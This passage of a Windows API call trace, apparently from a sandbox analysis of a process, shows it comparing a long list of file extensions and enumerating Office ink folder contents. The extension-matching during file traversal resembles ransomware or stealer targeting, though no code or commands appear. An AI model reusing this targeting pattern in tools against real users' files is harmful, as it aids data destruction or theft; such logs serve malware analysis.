(lpString1=".odc", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".odm") returned 4 [0091.355] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".odp") returned 4 [0091.355] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".ods") returned 4 [0091.355] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".oft") returned 4 [0091.355] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".one") returned 4 [0091.355] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".onepkg") returned 7 [0091.356] lstrcmpiW (lpString1=".onepkg", lpString2="pad.xml") returned -1 [0091.356] lstrlenW (lpString=".onetoc2") returned 8 [0091.356] lstrcmpiW (lpString1=".onetoc2", lpString2="ypad.xml") returned -1 [0091.356] lstrlenW (lpString=".opt") returned 4 [0091.356] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".oqy") returned 4 [0091.356] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".orf") returned 4 [0091.356] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".p12") returned 4 [0091.356] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".p7b") returned 4 [0091.356] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".p7c") returned 4 [0091.356] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".pam") returned 4 [0091.356] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".pbm") returned 4 [0091.356] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".pct") returned 4 [0091.356] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".pcx") returned 4 [0091.356] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".pdd") returned 4 [0091.356] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".pdf") returned 4 [0091.356] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".pdp") returned 4 [0091.356] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".pef") returned 4 [0091.356] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0091.356] lstrlenW (lpString=".pem") returned 4 [0091.357] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0091.357] lstrlenW (lpString=".pff") returned 4 [0091.357] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0091.357] lstrlenW (lpString=".pfm") returned 4 [0091.357] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0091.357] lstrlenW (lpString=".pfx") returned 4 [0091.357] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0091.357] lstrlenW (lpString=".pgm") returned 4 [0091.357] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0091.357] lstrlenW (lpString=".php") returned 4 [0091.357] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0091.357] lstrlenW (lpString=".php3") returned 5 [0091.357] lstrcmpiW (lpString1=".php3", lpString2="d.xml") returned -1 [0091.357] lstrlenW (lpString=".php4") returned 5 [0091.357] lstrcmpiW (lpString1=".php4", lpString2="d.xml") returned -1 [0091.357] lstrlenW (lpString=".php5") returned 5 [0091.357] lstrcmpiW (lpString1=".php5", lpString2="d.xml") returned -1 [0091.357] lstrlenW (lpString=".phtml") returned 6 [0091.357] lstrcmpiW (lpString1=".phtml", lpString2="ad.xml") returned -1 [0091.357] lstrlenW (lpString=".pict") returned 5 [0091.357] lstrcmpiW (lpString1=".pict", lpString2="d.xml") returned -1 [0091.357] lstrlenW (lpString=".pl") returned 3 [0091.357] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0091.357] lstrlenW (lpString=".pls") returned 4 [0091.357] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0091.357] lstrlenW (lpString=".pm") returned 3 [0091.357] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0091.357] lstrlenW (lpString=".png") returned 4 [0091.357] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0091.357] lstrlenW (lpString=".pnm") returned 4 [0091.357] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0091.357] lstrlenW (lpString=".pot") returned 4 [0091.358] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0091.358] lstrlenW (lpString=".potm") returned 5 [0091.358] lstrcmpiW (lpString1=".potm", lpString2="d.xml") returned -1 [0091.358] lstrlenW (lpString=".potx") returned 5 [0091.358] lstrcmpiW (lpString1=".potx", lpString2="d.xml") returned -1 [0091.358] lstrlenW (lpString=".ppa") returned 4 [0091.358] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0091.358] lstrlenW (lpString=".ppam") returned 5 [0091.358] lstrcmpiW (lpString1=".ppam", lpString2="d.xml") returned -1 [0091.358] lstrlenW (lpString=".ppm") returned 4 [0091.358] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0091.358] lstrlenW (lpString=".pps") returned 4 [0091.358] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0091.358] lstrlenW (lpString=".ppsm") returned 5 [0091.358] lstrcmpiW (lpString1=".ppsm", lpString2="d.xml") returned -1 [0091.358] lstrlenW (lpString=".ppt") returned 4 [0091.358] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.358] lstrlenW (lpString=".pptm") returned 5 [0091.358] lstrcmpiW (lpString1=".pptm", lpString2="d.xml") returned -1 [0091.358] lstrlenW (lpString=".pptx") returned 5 [0091.358] lstrcmpiW (lpString1=".pptx", lpString2="d.xml") returned -1 [0091.358] lstrlenW (lpString=".prn") returned 4 [0091.358] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0091.358] lstrlenW (lpString=".ps") returned 3 [0091.358] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0091.358] lstrlenW (lpString=".psb") returned 4 [0091.358] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0091.358] lstrlenW (lpString=".psd") returned 4 [0091.358] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0091.358] lstrlenW (lpString=".pst") returned 4 [0091.358] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0091.359] lstrlenW (lpString=".ptx") returned 4 [0091.359] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0091.359] lstrlenW (lpString=".pub") returned 4 [0091.359] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0091.359] lstrlenW (lpString=".pwm") returned 4 [0091.359] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0091.359] lstrlenW (lpString=".pxr") returned 4 [0091.359] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0091.359] lstrlenW (lpString=".py") returned 3 [0091.359] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0091.359] lstrlenW (lpString=".qt") returned 3 [0091.359] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0091.359] lstrlenW (lpString=".r3d") returned 4 [0091.359] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0091.359] lstrlenW (lpString=".raf") returned 4 [0091.359] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0091.359] lstrlenW (lpString=".rar") returned 4 [0091.359] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.359] lstrlenW (lpString=".raw") returned 4 [0091.359] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0091.359] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main", cAlternateFileName="")) returned 1 [0091.359] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0091.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0091.361] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.361] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0091.362] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0091.362] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0091.362] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0091.362] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0091.362] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0091.363] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0091.363] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0091.363] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0091.363] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0091.363] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0091.363] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0091.364] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0091.364] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0091.364] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0091.365] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui", cAlternateFileName="OSKCLE~1")) returned 1 [0091.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0091.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0091.365] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 0 [0091.366] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0091.366] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0091.366] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0091.366] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0091.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0091.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0091.367] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.367] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0091.367] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0091.367] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0091.367] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0091.367] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0091.367] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav", cAlternateFileName="")) returned 1 [0091.368] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0091.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, 